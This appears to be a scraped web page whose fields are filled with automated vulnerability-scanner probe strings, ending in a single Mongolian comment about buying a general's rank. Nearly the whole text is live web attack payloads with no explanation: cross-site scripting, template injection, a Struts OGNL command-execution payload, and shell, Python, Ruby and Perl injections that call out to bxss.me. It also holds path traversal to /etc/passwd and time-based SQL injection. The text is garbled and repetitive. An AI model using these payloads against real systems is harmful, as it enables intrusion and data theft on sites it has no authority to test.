HfjNUlYZ

555

HfjNUlYZ

1

HfjNUlYZ

555

HfjNUlYZ

555

HfjNUlYZ

555

HfjNUlYZ

1

HfjNUlYZ

1\u003CScRiPt\9IFa(9960)\u003C/sCripT\u003E

HfjNUlYZ

%31%3C%53%63%52%69%50%74%20%3E%39%49%46%61%289044%29%3C%2F%73%43%72%69%70%54%3E

HfjNUlYZ

1<ScRiPt >9IFa(9175)

HfjNUlYZ

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

HfjNUlYZ

acx[[${98991*97996}]]xca

HfjNUlYZ

acx__${98991*97996}__::.x

HfjNUlYZ

acx{{98991*97996}}xca

HfjNUlYZ

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

HfjNUlYZ

HfjNUlYZ

<%={{={@{#{${acx}}%>

HfjNUlYZ

acu9069＜s1﹥s2ʺs3ʹuca9069

HfjNUlYZ

acux1183��z1��z2a�bcxuca1183

HfjNUlYZ

19143995

HfjNUlYZ

1

%48%66%6A%4E%55%6C%59%5A%3C%53%63%52%69%50%74%20%3E%39%49%46%61%289693%29%3C%2F%73%43%72%69%70%54%3E

1

HfjNUlYZ\u003CScRiPt\9IFa(9429)\u003C/sCripT\u003E

1

HfjNUlYZ

http://bxss.me/t/fit.txt?.jpg

HfjNUlYZ

bxss.me

HfjNUlYZ<ScRiPt >9IFa(9683)

1

HfjNUlYZ

Http://bxss.me/t/fit.txt

HfjNUlYZ

1some_inexistent_file_with_long_name.jpg

HfjNUlYZ

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

HfjNUlYZ

1%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup bxss.me ns1.bxss.me').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

HfjNUlYZ

bxss.me/t/xss.html?%00

acx__${98991*97996}__::.x

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

HfjNUlYZ

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

1

bxss.me

1

HfjNUlYZ

/\xfs.bxss.me

acx[[${98991*97996}]]xca

1

Http://bxss.me/t/fit.txt

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

HfjNUlYZ

http://xfs.bxss.me

HttP://bxss.me/t/xss.html?%00

1

http://bxss.me/t/fit.txt?.jpg

1

HfjNUlYZ

//xfs.bxss.me

acx{{98991*97996}}xca

1

HfjNUlYZ

`(nslookup hitbozcnyothyd08d3.bxss.me||perl -e "gethostbyname('hitbozcnyothyd08d3.bxss.me')")`

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

HfjNUlYZ

/xfs.bxss.me

HfjNUlYZ

#{9999250+10000478}

1

1some_inexistent_file_with_long_name.jpg

1

HfjNUlYZ

955891

HfjNUlYZ

;(nslookup hitndsqfietny2e137.bxss.me||perl -e "gethostbyname('hitndsqfietny2e137.bxss.me')")|(nslookup hitndsqfietny2e137.bxss.me||perl -e "gethostbyname('hitndsqfietny2e137.bxss.me')")&(nslookup hitndsqfietny2e137.bxss.me||perl -e "gethostbyname('hitndsqfietny2e137.bxss.me')")

acux9819��z1��z2a�bcxuca9819

1

HfjNUlYZ

|(nslookup hitpuuneduzzld06f6.bxss.me||perl -e "gethostbyname('hitpuuneduzzld06f6.bxss.me')")

HfjNUlYZ

${9999250+10000478}

<%={{={@{#{${acx}}%>

1

acu6639＜s1﹥s2ʺs3ʹuca6639

1

HfjNUlYZ

&(nslookup hitmvkgbrutnt256f1.bxss.me||perl -e "gethostbyname('hitmvkgbrutnt256f1.bxss.me')")&'\"`0&(nslookup hitmvkgbrutnt256f1.bxss.me||perl -e "gethostbyname('hitmvkgbrutnt256f1.bxss.me')")&`'

HfjNUlYZ

'.print(md5(31337)).'

HfjNUlYZ

$(nslookup hityozwsfrbygc5108.bxss.me||perl -e "gethostbyname('hityozwsfrbygc5108.bxss.me')")

#{10000163+10000329}

1

/\xfs.bxss.me

1

HfjNUlYZ

(nslookup hitwxltirzgiy60b8f.bxss.me||perl -e "gethostbyname('hitwxltirzgiy60b8f.bxss.me')")

HfjNUlYZ

${@print(md5(31337))}\

${10000163+10000329}

1

HfjNUlYZ

'"

HfjNUlYZ9248274

1

HfjNUlYZ

";print(md5(31337));$a="

//xfs.bxss.me

1

HfjNUlYZ

|echo nwlzyn$()\ eiaqjx\nz^xyu||a #' |echo nwlzyn$()\ eiaqjx\nz^xyu||a #|" |echo nwlzyn$()\ eiaqjx\nz^xyu||a #

HfjNUlYZ

${@print(md5(31337))}

995891

1

HfjNUlYZ

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

HfjNUlYZ

echo dtgokp$()\ pgyzwh\nz^xyu||a #' &echo dtgokp$()\ pgyzwh\nz^xyu||a #|" &echo dtgokp$()\ pgyzwh\nz^xyu||a #

http://xfs.bxss.me

1

HfjNUlYZ

';print(md5(31337));$a='

HfjNUlYZ

&echo zswxlz$()\ axbcrq\nz^xyu||a #' &echo zswxlz$()\ axbcrq\nz^xyu||a #|" &echo zswxlz$()\ axbcrq\nz^xyu||a #

HfjNUlYZ

1'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],new java.net.URL('http'+'://hitnthnloscvy.bxss.me/').openStream().close(),new java.lang.String('

/xfs.bxss.me

1

'"

1

HfjNUlYZ

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitflcnuvhaeeef9c9.'+'bxss.me')+"

HfjNUlYZ

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitflcnuvhaeeef9c9."+"bxss.me")+'

HfjNUlYZ

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

HfjNUlYZ

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitflcnuvhaeeef9c9.'+'bxss.me')

HfjNUlYZ

create/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

HfjNUlYZ

create

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitadtjoijskg8ba96."+"bxss.me")+'

1

${@print(md5(31337))}\

1

HfjNUlYZ

'+'A'.concat(70-3).concat(22*4).concat(121).concat(71).concat(103).concat(82)+(require'socket' Socket.gethostbyname('hitfs'+'ihsnshvb4c849.bxss.me.')[3].to_s)+'

HfjNUlYZ

create

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitadtjoijskg8ba96.'+'bxss.me')+"

1

'.print(md5(31337)).'

1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitadtjoijskg8ba96.'+'bxss.me')

1

${@print(md5(31337))}

1

HfjNUlYZ

"+"A".concat(70-3).concat(22*4).concat(109).concat(73).concat(118).concat(79)+(require"socket" Socket.gethostbyname("hitax"+"apkwlhnp7e213.bxss.me.")[3].to_s)+"

';print(md5(31337));$a='

1

";print(md5(31337));$a="

1

HfjNUlYZ

http://hitanwckwmsvc.bxss.me/

http://hitzeqxmgdwal.bxss.me/

1

HfjNUlYZ

!(()&&!|*|*|

create/.

1

HfjNUlYZ

^(#$!@#$)(()))******

create

1

'+'A'.concat(70-3).concat(22*4).concat(99).concat(72).concat(118).concat(70)+(require'socket' Socket.gethostbyname('hitqh'+'wkctllap47dff.bxss.me.')[3].to_s)+'

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

HfjNUlYZ

)

create

1

`(nslookup hitkraibxfmjka7ec3.bxss.me||perl -e "gethostbyname('hitkraibxfmjka7ec3.bxss.me')")`

1

|(nslookup hittddmbouzakeb7d7.bxss.me||perl -e "gethostbyname('hittddmbouzakeb7d7.bxss.me')")

1

"+"A".concat(70-3).concat(22*4).concat(115).concat(68).concat(116).concat(89)+(require"socket" Socket.gethostbyname("hitcs"+"nxdinxwtf2fe5.bxss.me.")[3].to_s)+"

1

&(nslookup hittogjhpfjvh66bc6.bxss.me||perl -e "gethostbyname('hittogjhpfjvh66bc6.bxss.me')")&'\"`0&(nslookup hittogjhpfjvh66bc6.bxss.me||perl -e "gethostbyname('hittogjhpfjvh66bc6.bxss.me')")&`'

1

^(#$!@#$)(()))******

1

HfjNUlYZ

1

$(nslookup hitiwzcqdadvo149be.bxss.me||perl -e "gethostbyname('hitiwzcqdadvo149be.bxss.me')")

1

!(()&&!|*|*|

1

HfjNUlYZ

../1

(nslookup hittppcmtxmww0aa38.bxss.me||perl -e "gethostbyname('hittppcmtxmww0aa38.bxss.me')")

1

HfjNUlYZ

".gethostbyname(lc("hitsu"."bbphevez22e8c.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(69).chr(100).chr(82)."

)

1

HfjNUlYZ

1

HfjNUlYZ

../../../../../../../../../../../../../../windows/win.ini

HfjNUlYZ

1&n922995=v967738

|echo rxldut$()\ osjwir\nz^xyu||a #' |echo rxldut$()\ osjwir\nz^xyu||a #|" |echo rxldut$()\ osjwir\nz^xyu||a #

1

HfjNUlYZ

'.gethostbyname(lc('hitjd'.'juymlwqvf6b28.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(79).chr(117).chr(85).'

HfjNUlYZ

../../../../../../../../../../../../../../etc/passwd

&echo zcacqd$()\ tnwfmf\nz^xyu||a #' &echo zcacqd$()\ tnwfmf\nz^xyu||a #|" &echo zcacqd$()\ tnwfmf\nz^xyu||a #

1

RzR1RkV3Z2c=

1

HfjNUlYZ&n959309=v962159

1

echo gdqtpg$()\ ayrumb\nz^xyu||a #' &echo gdqtpg$()\ ayrumb\nz^xyu||a #|" &echo gdqtpg$()\ ayrumb\nz^xyu||a #

1

HfjNUlYZ

1

".gethostbyname(lc("hituv"."bvrbfdkmdf199.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(86).chr(106).chr(85)."

1

'.gethostbyname(lc('hitvy'.'bhwgsekj76693.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(79).chr(120).chr(88).'

1

HfjNUlYZ

'+response.write(9996454*9435654)+'

HfjNUlYZ

"+response.write(9996454*9435654)+"

HfjNUlYZ

1

1

../HfjNUlYZ

1

HfjNUlYZ

response.write(9996454*9435654)

../../../../../../../../../../../../../../etc/passwd

1

../../../../../../../../../../../../../../windows/win.ini

1

HfjNUlYZ

shq1Rjpa

HfjNUlYZ

1

"+response.write(9168843*9751770)+"

1

HfjNUlYZ

1

response.write(9168843*9751770)

1

HfjNUlYZ

1

'+response.write(9168843*9751770)+'

1

HfjNUlYZ

1

aHEXLton

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1����%2527%2522

HfjNUlYZ

@@CCkgU

HfjNUlYZ

1'"

HfjNUlYZ

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

HfjNUlYZ

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

HfjNUlYZ

7NUas6yk')) OR 889=(SELECT 889 FROM PG_SLEEP(15))--

HfjNUlYZ

p3z0f9vk') OR 929=(SELECT 929 FROM PG_SLEEP(15))--

HfjNUlYZ

0yjjHtrm' OR 22=(SELECT 22 FROM PG_SLEEP(15))--

HfjNUlYZ

-1)) OR 509=(SELECT 509 FROM PG_SLEEP(15))--

HfjNUlYZ

-5) OR 346=(SELECT 346 FROM PG_SLEEP(15))--

HfjNUlYZ

-5 OR 737=(SELECT 737 FROM PG_SLEEP(15))--

HfjNUlYZ

eFDuAd1A'; waitfor delay '0:0:15' --

HfjNUlYZ

1 waitfor delay '0:0:15' --

HfjNUlYZ

-1); waitfor delay '0:0:15' --

HfjNUlYZ

-1; waitfor delay '0:0:15' --

HfjNUlYZ

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

HfjNUlYZ

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

HfjNUlYZ

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

HfjNUlYZ

if(now()=sysdate(),sleep(15),0)

HfjNUlYZ

-1" OR 2+484-484-1=0+0+0+1 --

HfjNUlYZ

-1" OR 3+484-484-1=0+0+0+1 --

HfjNUlYZ

-1' OR 2+43-43-1=0+0+0+1 or 'q2KuodeD'='

HfjNUlYZ

-1' OR 3+43-43-1=0+0+0+1 or 'q2KuodeD'='

HfjNUlYZ

-1' OR 3+217-217-1=0+0+0+1 --

HfjNUlYZ

-1 OR 3+553-553-1=0+0+0+1

HfjNUlYZ

-1' OR 2+217-217-1=0+0+0+1 --

HfjNUlYZ

-1 OR 3+338-338-1=0+0+0+1 --

HfjNUlYZ

-1 OR 2+553-553-1=0+0+0+1

HfjNUlYZ

-1 OR 2+338-338-1=0+0+0+1 --

HfjNUlYZ

M4zel7TZ

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

@@JPxeL

1

1����%2527%2522

1

HfjNUlYZ'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

UG3ZO7Ek')) OR 786=(SELECT 786 FROM PG_SLEEP(15))--

1

n9nNt7Mj') OR 698=(SELECT 698 FROM PG_SLEEP(15))--

1

7rhTxEJL' OR 744=(SELECT 744 FROM PG_SLEEP(15))--

1

5aM2V1np'; waitfor delay '0:0:15' --

1

1 waitfor delay '0:0:15' --

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

if(now()=sysdate(),sleep(15),0)

1

-1" OR 3+476-476-1=0+0+0+1 --

1

-1" OR 2+476-476-1=0+0+0+1 --

1

-1' OR 3+988-988-1=0+0+0+1 or '8IpWeKTP'='

1

-1' OR 2+988-988-1=0+0+0+1 or '8IpWeKTP'='

1

-1' OR 3+992-992-1=0+0+0+1 --

1

-1' OR 2+992-992-1=0+0+0+1 --

1

-1 OR 3+775-775-1=0+0+0+1

1

-1 OR 2+775-775-1=0+0+0+1

1

-1 OR 3+181-181-1=0+0+0+1 --

1

-1 OR 2+181-181-1=0+0+0+1 --

1

jyPoQE49

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

HfjNUlYZ

1

zochin

yamar gavya baiguulsan um boldoo? heden tugruguur general tsol avch boloh ve, humuusee?